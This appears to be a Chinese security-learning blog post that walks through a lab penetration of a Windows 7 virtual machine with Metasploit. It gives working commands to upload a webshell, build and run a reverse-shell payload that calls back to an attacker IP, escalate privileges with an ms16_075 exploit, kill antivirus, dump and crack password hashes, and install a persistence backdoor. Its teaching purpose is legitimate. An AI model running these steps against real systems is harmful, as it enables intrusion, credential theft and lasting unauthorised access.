资讯专栏INFORMATION COLUMN

MSF(1)——一次完整的渗透流程

abson / 1152人阅读

摘要:后渗透模块该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息实施跳板攻击等。我将通过一个完整的渗透测试来进行框架的初步讲解,这是我在一次实战中的操作,我用虚拟机进行了简单的模拟。其中,是被迁徙的进程。

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)

介绍

Metasploit(简称msf)框架是一个开源的,旨在方便地进行渗透测试的框架,由Ruby语言编写而成,具有很好地拓展性,便于渗透测试人员开发,使用定制的工具模板。

Kali Linux自带了Metasploit,在控制台输入msfconsole,启动msf

kali中自带的msf版本是5,可自行升级。

笔者的话:本来我是不想写msf框架的,因为我认为Web安全只需要拿到WebShell就达到了目标,但是在我经过了几次实战时候,我发现了msf的重要性,msf框架在漏洞扫描,后渗透等多个方面都非常优秀,因此有了这篇文章。

Metasploit基础

msf存在多个模块,在这里进行介绍

  1. Auxiliaries(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试
  1. Exploit(漏洞利用模块)
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或渗透测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
  1. Payload(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统系统上执行一些命令,如添加用户账号等。
  1. Post(后渗透模块)
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
  1. Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出。

我将通过一个完整的渗透测试来进行msf框架的初步讲解,这是我在一次实战中的操作,我用虚拟机进行了简单的模拟。

攻击机(Kali):192.168.157.131
目标机(Win7 x64):192.168.157.128

实战

访问目标机,看见一个文件上传点。

尝试上传WebShell,提示 “不正确的文件类型”

使用bp抓包,上传图片马,提示保存成功

把后缀改为php,成功上传

蚁剑访问,成功获取WebShell

使用whoami指令查看当前权限

在Kali中输入以下指令生成一个msf的木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.131 lport=4444 -f exe > shell.exe

其中, windows/meterpreter/reverse_tcp 是msf将要使用的 payloadlhost 是攻击机的ip地址,lport 是攻击机将要监听的端口。

通过这个语句,生成一个exe的木马

接下来将木马上传到被攻击的服务器上

在kali下输入msfconsole进入msf的控制台
输入:use exploit/multi/handler进入远程控制模块
输入:set payload windows/meterpreter/reverse_tcp使用Windows tcp远程反弹Payload

输入options查看该模块的参数

其中 LHOST 是生成木马时填写的 lhostLPORT 是生成木马时填写的 lport

输入:set LHOST 192.168.157.131来设置攻击机ip地址
输入:set LPORT 4444来设置攻击机监听端口

可以通过options查看当前参数

参数中Require的值为Yes的参数是必填项

接下来,输入runexploit开始监听

同时,在蚁剑中,进入控制台,输入shell.exe运行我们先前上传的木马程序

此时可以看到,在msf中收到了响应,反弹了一个Meterpreter的shell

Meterpreter中输入help查看帮助信息,在这里简单讲解一些指令

Meterpreter

Meterpreter常用指令
指令介绍
migrate进程迁徙。可以通过“migrate pid”来迁徙到其他进程中。其中,pid是被迁徙的进程id。(注:只有Windows可用)
getuid获取当前权限
getpid获取当前进程id
sysinfo返回系统信息
getsystem直接提升到最高权限(一般成功不了)
run killav关闭杀毒软件。在取得Meterpreter shell后最好最先执行该语句
shell进入目标机shell,输入“exit”退回到Meterpreter
pwd或getwd查看当前处于目标机的哪个目录
ls列出当前目录下的所有文件
cd切换目录
search在目标机中搜索文件。例如输入“search -f *.txt -d C:/”搜索C盘中所有后缀为txt的文件
upload上传文件。例如输入“upload 1.txt C:/1.txt”将攻击机目录下的1.txt上传到目标机的C盘
download下载文件。例如输入“download C:/1.txt 1.txt”将目标机C盘下的1.txt下载到攻击机上

提权

输入getuid查看当前权限,发现是manlu权限

输入shell进入目标机shell,输入systeminfo查看系统详细信息,包括但不限于系统补丁信息


接下来要在补丁中查找那些没有打的补丁,并且去网上找相关的exp进行提权

在这里我使用ms16_075 (KB3164038) 漏洞进行提权

回到meterpreter shell,输入background将当前shell转为后台执行,可以输入sessions查看目前已建立的session

接下来输入search ms16_075寻找相应的exp

可以看到,名为exploit/windows/local/ms16_075_reflection_juicy的exp评价是great,在这里就使用该exp进行提权

输入:use exploit/windows/local/ms16_075_reflection_juicyuse 1来选取要使用的exp

输入options查看该exp参数

只有一个参数SESSION需要填写

输入sessions查看建立的连接,找到需要提权的session,通过SET指定SESSION

接下来输入run执行即可

如果提权成功,会重新返回一个Meterpreter shell

此时再输入getuid查看权限,发现我们已经是system

抓取密码

在这里简单讲一下密码的抓取,具体的密码抓取会在之后详细讲解

在Meterpreter shell中输入run windows/gather/hashdump导出密码

得到密码的格式是类似这样的

UserName:500:xxxx:xxxx

其中第一个是用户名,第二个数字代表权限,500表示是管理员权限,后面两个加密的内容是密码,其中第二个加密的内容就是用户密码

例如,我想获取用户manlu的密码,我将密文复制

32ed87bdb5fdc5e9cba88547376818d4

接下来在网上解密

得到用户manlu的明文密码为123456

注:抓取密码需要SYSTEM权限

权限维持

我们通过持久化后门来进行权限维持

Persistence是一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。

输入run persistence -h查看所有的命令选项


输入指令:

run persistence -A -S -U -i 10 -p 1234 -r 192.168.157.131

语法解释:

  • A:自动启动Payload程序
  • S:系统启动时自动加载
  • U:用户登录时自动启动
  • X:开机时自动加载
  • i:回连的时间间隔
  • P:监听的反向链接端口号
  • r:攻击机IP地址

在这个语句中,我设置每隔10秒钟回连一次,这样目标机就会每隔10秒连接一次攻击机。

可以看到,在输入指令后,提示在目标机上新建了一个vbs文件并创建了一个服务。

此时我们重新打开一个msf终端,设置
payload:

windows/meterpreter/reverse_tcp

lhost:

192.168.157.131

lport:

1234

等待10秒,就可以收到目标机的连接

这样成功创建了持久化后门

结语

这篇文章并不是正式的教程,只是为了写一下使用Metasploit框架渗透的基本流程,同时写出msf框架的强大之处。在之后的文章,会详细写Metasploit框架的操作。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119195.html

相关文章

  • 内网渗透-完整渗透

    摘要:文章目录域环境概念创建域创建组用户加入域域渗透常规信息收集内网信息收集拿下弱口令哈希传递攻击拿下域控信息收集后渗透其他其他模块推荐阅读域环境在开始域渗透之前,先来简单了解下域的一些概念概念域域是一个有安全边界的计算机集合安 ...

    不知名网友 评论0 收藏0
  • 经典利用永恒之蓝漏洞对Windows操作系统进行攻击

    摘要:利用永恒之蓝对进行攻击环境搭建,其中为靶机。命令有很多,想使用什么命令可以百度,我这里使用一些进行演示的命令就可以了。一般权限不够命令无法执行,这里简单介绍提权,提权方法百度多的很。至此本次利用永恒之蓝攻击漏洞拿到权限结束。 ...

    不知名网友 评论0 收藏0
  • MS08-067漏洞简谈与利用

    摘要:年月日下午消息,微软多款操作系统曝出年最大的安全漏洞,影响包括等几乎所有主流操作系统。据安全专家表示,尽管微软已经发布了该漏洞的补丁,但由于黑屏事件的影响,很多用户已经关闭了系统的补丁自动更新功能,因此很可能造成严重危害。 MS08-067漏洞将会影响除Windows Server 2008...

    learning 评论0 收藏0
  • 内网域渗透分析(实战总结)

    摘要:搭建代理添加一个代理建立了一条由攻击机到服务器的通道,的服务端在攻击机,也是反向代理复制代理链接到中让所有模块的流量都通过此代理走。全局设置允许反向代理,通过反弹,建立双向通道。 ...

    FuisonDesign 评论0 收藏0
  • 渗透实战:内网域渗透

    摘要:前言本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法思路和技巧。下面用来进行文件上传上传一个的木马然后在用高权限来运行木马成功上线抓取下密码至此,数据库服务器渗透结束,下面开始对域控的渗透。 ...

    CastlePeaK 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<